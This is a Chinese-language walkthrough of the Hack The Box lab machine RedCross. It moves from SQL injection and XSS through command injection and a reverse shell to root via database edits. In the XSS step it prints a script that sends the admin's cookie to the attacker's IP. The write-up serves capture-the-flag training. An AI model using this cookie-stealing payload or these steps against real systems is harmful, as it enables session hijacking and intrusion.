
1.nmap探測發(fā)現(xiàn)22、80、443、端口開放。瀏覽器連接80端口會重定向到域名https://intra.redcross.htb/,將域名添加到/etc/hosts后可以看到網(wǎng)頁。
2.暴力破解web登錄頁面,可以拿到一對登錄憑據(jù)guest:guest,提交表單中的UserID,可以獲取一個(gè)能夠注入的url。

弱點(diǎn)url
3.sqlmap對url進(jìn)行注入,可以從redcross數(shù)據(jù)庫中拿到部分hash和提示,其中反復(fù)提到admin webapp,說明存在一處管理面板,subd說明是子域名。

redcrosss數(shù)據(jù)庫
4.再次添加/etc/hosts/對應(yīng)關(guān)系,10.10.10.113 <----> admin.redcross.htb,可以看到管理員界面,但是沒有登錄密碼。

管理員界面
5.回到intra.redcross.htb,在contact頁面發(fā)現(xiàn)留言板,會向后臺提交數(shù)據(jù),可能存在XSS,在email表單項(xiàng)中確認(rèn)存在XSS,編寫script腳本(<script>new Image().src='http://10.10.x.x/'+document.cookie</scr),并在本地監(jiān)聽回連,可以拿到管理員cookie。

cookie
6.登錄后可以看到如下界面。

后臺界面
7.在防火墻面板上添加自己的ip。

防火墻
8.在用戶管理頁面可以添加用戶,系統(tǒng)會自動生成密碼,該密碼可以登錄ssh,但獲得的是受限shell并沒有什么用。

添加用戶
9.回到防火墻管理頁面,在deny按鈕發(fā)包處發(fā)現(xiàn)存在命令注入漏洞,可以直接拿到反彈shell。

反彈shell
10.在shell中翻看頁面信息,可以拿到多個(gè)數(shù)據(jù)庫連接串,包括mysql和psql。

db pass
11.登錄psql發(fā)現(xiàn),有四個(gè)表單,只有passwd_table表有訪問權(quán)限,但這個(gè)表中保存了你剛在通過用戶管理頁面添加的用戶帳戶,gid,uid,group,帳戶目錄等關(guān)鍵信息。嘗試update gid=0,group=0,目錄為/root發(fā)現(xiàn)可以成功。登錄后你能拿到相應(yīng)權(quán)限但是無法sudo,應(yīng)為你不在sudo組中。

更新權(quán)限
12.查看/etc/group發(fā)現(xiàn)sudo組id為27,再次更新用戶gid為27,可以正常sudo命令權(quán)限為all,至此順利拿下目標(biāo)。